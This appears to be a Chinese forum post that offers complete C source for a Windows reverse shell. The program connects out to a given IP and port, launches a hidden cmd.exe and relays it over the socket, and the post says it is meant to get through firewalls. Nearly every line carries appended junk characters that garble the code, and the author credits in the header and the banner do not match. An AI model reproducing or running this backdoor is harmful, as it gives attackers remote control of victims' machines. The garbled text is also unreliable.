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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0=E]cQwh  
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/* ============================== <<R*2b  
Rebound port in Windows NT q(2'\ _`u  
By wind,2006/7 )f<z% :I+Z  
===============================*/ }d}Ke_Q0  
#include [^98fAlz6  
#include _t #k,;  
<3C*Z"aQ>|  
#pragma comment(lib,"wsock32.lib") [e}]}t8m  
g~A`N=r;h  
void OutputShell(); VZmLS 4E  
SOCKET sClient; cP_.&!T  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &AbNWtCV+G  
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void main(int argc,char **argv) r:ptQo`1-  
{ SmSH2m-  
WSADATA stWsaData; aH/ k Ua  
int nRet; 'F0e(He@,  
SOCKADDR_IN stSaiClient,stSaiServer; 8i#2d1O  
~<F8ug #  
if(argc != 3) U6fgo3RH  
{ &H/'rd0M  
printf("Useage:\n\rRebound DestIP DestPort\n"); zL`iK"N`  
return; *VhL\IjN]  
} "8jf81V*  
fN^8{w/O  
WSAStartup(MAKEWORD(2,2),&stWsaData); %%gc2s  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pm0{R[:T7  
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stSaiClient.sin_family = AF_INET; EC!02S  
stSaiClient.sin_port = htons(0); }"%?et(  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); NzOx0WLF  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) a:IC)]j$_  
{ 7XLtN "$$  
printf("Bind Socket Failed!\n"); '3D XPR^B6  
return; +@k+2?] FO  
} !.(P~j][  
VYImI>.t{  
stSaiServer.sin_family = AF_INET; bsA-2*Q+  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Z+. '>  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); JB]q   
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) g0Gf6o>2  
{ !sW(wAy?o  
printf("Connect Error!"); OL,TFLn4  
return; y0.8A-2:  
} \k!{uRy'  
OutputShell(); iq( E'`d  
} kH7(@Pa  
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void OutputShell() OGg>#vj,s  
{ =Bhe'.]QSx  
char szBuff[1024]; -^h' >.  
SECURITY_ATTRIBUTES stSecurityAttributes; o{q{!7DH@  
OSVERSIONINFO stOsversionInfo; 8sTp`}54 J  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; v8[I 8{41  
STARTUPINFO stStartupInfo; v)t:|Q{I  
char *szShell; PV\+P6aIb  
PROCESS_INFORMATION stProcessInformation; jun_QiU:2  
unsigned long lBytesRead; Xi,CV[L\  
p=GBUII #  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ,J^b0@S  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); mA+&Io  
stSecurityAttributes.lpSecurityDescriptor = 0; 6NM:DI\%  
stSecurityAttributes.bInheritHandle = TRUE; p#?7 w  
<vh/4  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _Wp{ [TH  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %GA"GYL9'  
e .2ib?8  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -vR5BMy=  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ke]Lw  
stStartupInfo.wShowWindow = SW_HIDE; Z/0fXn})  
stStartupInfo.hStdInput = hReadPipe; wKY Za# u  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; zw:/!MS  
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GetVersionEx(&stOsversionInfo); S+*cbA{J|  
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switch(stOsversionInfo.dwPlatformId) Gm*Uv6?H?  
{  bn|DRy  
case 1: )ldUayJ  
szShell = "command.com"; ~+PKWs'}F  
break; ]deO\mB  
default: 3TN'1D ei  
szShell = "cmd.exe"; Q+'fTmT[,  
break; s"~,Zzy@j  
} v7v>  
:Ye~I;" 8  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); BF"eVKA  
`W7;-  
send(sClient,szMsg,77,0); sosIu  
while(1) @P[%6 d  
{ rLbFaLeQ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !Nbi&^k B  
if(lBytesRead) MfA%Xep  
{ j`_Z`eG  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5nK|0vv%2  
send(sClient,szBuff,lBytesRead,0);  h}}7_I9  
} K k^!P*#  
else \?^ EFA+;  
{ s}DNu<"g  
lBytesRead=recv(sClient,szBuff,1024,0); Rli`]~!w  
if(lBytesRead<=0) break; & fnfuU$   
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); [mF=<G"  
} :4pO/I ~  
} UaHN*@  
Z#K0a'  
return; - @KT#  
}
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